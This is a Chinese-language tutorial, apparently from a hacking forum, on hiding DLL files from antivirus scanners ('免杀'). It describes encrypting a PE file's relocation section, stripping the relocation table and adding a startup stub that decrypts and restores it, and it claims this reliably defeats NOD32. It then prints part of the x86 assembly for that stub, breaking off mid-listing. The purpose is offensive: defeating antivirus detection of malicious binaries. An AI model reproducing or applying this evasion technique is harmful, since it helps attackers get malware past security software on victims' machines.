今天讨论的是免杀重点在于PE里文件里的重定位部分,我们在免杀PE文件时基本面对
的文件格式无非有两种:EXE 文件和 DLL文件,如果采取定位特征码的免杀方法会发现有将
近一半的特征码定位在带有重定位部分的代码上。对于EXE 文件来说这是可以忽略的,因此
我们通常可以把EXE文件的重定位部分直接删除掉(当然大部分EXE文件本身也不带有重定
位),所以今天我们主要针对的是DLL文件的重定位部分。
DLL 文件比较特殊,每次载入内存的基址都不大相同,所以为了使代码能够正常运行就
必须带上重定位,因此这也是杀软特别感觉兴趣的位置。修改一段含有重定位的代码是比较
麻烦的,不仅要考虑代码还要考虑重定位表的修改,一旦忽略某个细节就会导致程序不正常
或是部分功能损失。何况如果一个文件中含大量的包含重定位的特征码,那我们修改起来是
一件非常头疼和费时费力的事。于是就有了今天的课题,我们能不能在定位前先处理下重定
位这块的信息呢?如果成功的话不仅直接免杀了一部分特征码而且还改变了 PE 文件的其它
一些特征码,使我们再后期做免杀时达到事半功倍的效果。答案是肯定的,今天带来的方法
是直接把一个文件的重定位部分全部加密,加密成功后直接从 PE 文件信息里把重定位表清
除掉,当然程序启动的时候首先运行我们的解密程序恢复重定位。这样一来就达到了我们的
用意,而且这种方法针对类似 NOD32这样的杀软可以说是秒杀。因为NOD32通常都是定位在
函数调用代码上,而DLL文件里的函数调用肯定也都是带有重定位的代码。
下面把完整的代码贴出来并附上相关的说明:
pushad ; 保护现场
call 10018020 ; 重定位
popeax ; 获取现在的地址
sub eax, 11111111 ; 获得基址差做重定位 11111111=pop的地址
push eax ; 将基址差压进栈 重定位用
mov eax, 22222222 ; 22222222=一个空白地址,这个地址必须可写可
读,并且不会被再次修改
add eax, dword ptr [esp] ; 重定位
cmp dword ptr [eax], 1 ; 对比 如果22222222上的数值是1的话就跳
过解密
je short 1001809F ; 跳过解密
mov dword ptr [eax], 1 ; 没解密过就标志解密
mov edx, 33333333 ; 33333333=文件内存基址,在 lordpe 里面显示
的
add edx, dword ptr [esp] ; 重定位
push edx ; 压进栈准备下面代码调用
mov ebp, 44444444 ; 44444444=重定位表的内存地址
add ebp, dword ptr [esp+4] ; 重定位
push dword ptr [ebp] ; 将重定位表第一页的地址压进栈
add ebp, 4 ; 指向本页大小
xor eax, eax ; 清零 eax
xor ecx, ecx ; 清零 ecx |